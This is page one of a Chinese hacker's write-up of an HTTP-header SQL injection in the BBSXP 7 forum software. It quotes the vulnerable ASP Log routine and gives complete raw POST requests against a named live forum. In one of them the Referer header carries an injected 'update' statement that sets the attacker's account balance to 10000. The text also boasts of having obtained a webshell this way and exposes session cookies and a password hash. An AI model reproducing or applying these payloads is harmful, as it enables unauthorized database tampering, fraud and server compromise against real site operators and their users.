这个东西是去年前发现的了。好象内容细节在哪个杂志上发了。不过似乎杂志和作者都没跟我联系呢?不管,发了再说。 针对BBSXP7的,是HTTP头注入。 没有多大的看头,熟悉的朋友,请从后面拿SHELL的地方开始看。 反正看得懂的就看。 看不懂的请提问,不过希望大家问一点有水平的问题。 太基础的,GOOGLE上可以搜索到的问题,恕我不回答。
我们都知道 yuzi.net是BBSXP的官方论坛。 最近读代码,读到了BBSXP 一个不小心,就找到了一个注入。。 拿bbs.yuzi.net去测试。一不小心就测试通过,并且通过此注入点,得到了WEBSHELL。其中就用到了我所谓的数据库处理数据和FSO处理数据的一点小差异,而拿到的WEBSHELL。欲知详情,请跟着我一步一步来看。。。
原创:sobiny[bct] 网址:http://sobiny.cn
BBSXP我读过还几次了,还没发现什么大的问题。 结果这次读的时候,发现了一个很奇怪的过程。
Setup.asp文件是BBSXP系统的函数文件,外面调用的函数基本上都在里面了。 在第394行有一个log过程,其代码如下:
sub Log(Message) if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&"" Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&Request.ServerVariables("HTTP_REFERER")&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')") end sub
我们明显的看到了。 Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"),Request.ServerVariables("script_name"),Request.ServerVariables("Query_String"),Request.ServerVariables("HTTP_REFERER") | 这5个HTTP头的参数没有经过过滤就直接放进了数据库。
而, Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"), Request.ServerVariables("script_name")这三个参数,第一个是连接的IP地址,第二个是server名字,第三个是脚本名字。这三个都不好欺骗。(除了ip地址我还没想到方法欺骗以外,后面两个都是还是可以欺骗的,不过有一定的环境限制,当然这是后话)
但是Request.ServerVariables("Query_String")和Request.ServerVariables("HTTP_REFERER")我们都是可以很轻松的构造我们需要的字符进去。这样,就可以完成欺骗。进行MSSQL注入攻击。
现在我们就需要找找在BBSXP的代码里面,到底有哪些地方调用了LOG过程。 经过我仔细的检查代码。发现这个过程在好多处代码里面都调用了。 不过普通用户能调用的地方好象只有一处。就是Bank.asp,就是银行功能,在给某人汇钱了后,就会调用LOG过程,写入数据库记录。 目标代码在Bank.asp的第160行。如下:
Log(""&CookieUserName&" 通过银行转帐 ¥"&qmoney&" 给 "&dxname&"")
于是,就开始了我艰苦的BBSXP测试之旅。
我看了BBSXP的官方。只能通过发帖来赚点钱。每个帖子奖励1块钱。bank.asp里面限制了最低每次要转10块钱。而且还有10%的手续费,真黑啊,这个告诉我们,我必须要先发11个帖子,才可以进行一次转帐的操作。 痛苦ING …………………… 省略号表示是我在注册帐号等待20分钟(才可以发帖),趁版主不注意,猛灌11个文章。并且抓包的痛苦经历,能有多悲惨,请各位读者发挥自己的想象。
终于11个文章筹齐了。我现在有了11块钱。 当然就好开始构造我们的语句了。
我们先来看看我们本来的封包。 联系上下文。构造封包如下:
POST /Bank.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://bbs.yuzi.net/bank.asp Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) Host: bbs.yuzi.net Content-Length: 60 Connection: Keep-Alive Cache-Control: no-cache Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime= |
menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+ 这个封包的意思是,向admin这个家伙送转10块钱过去。。 当然我们是不能直接发送这个封包的(为什么?因为10块钱就白白过去了,你愿意吗?当然要构造点语句帮我们做点事情才行)
考虑了1秒钟,身受为了得到11块钱而不停痛苦的我。绝对首先做的事情是:为我得到10000块钱。 经过读他们的代码,找到了存储金钱的表段,嘿嘿,准备加钱了。
POST /Bank.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_Users] set [UserMoney]=10000 where userid=123536-- Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) Host: bbs.yuzi.net Content-Length: 60 Connection: Keep-Alive Cache-Control: no-cache Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime=
menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+ | 然后发送。
1 2 下一页 |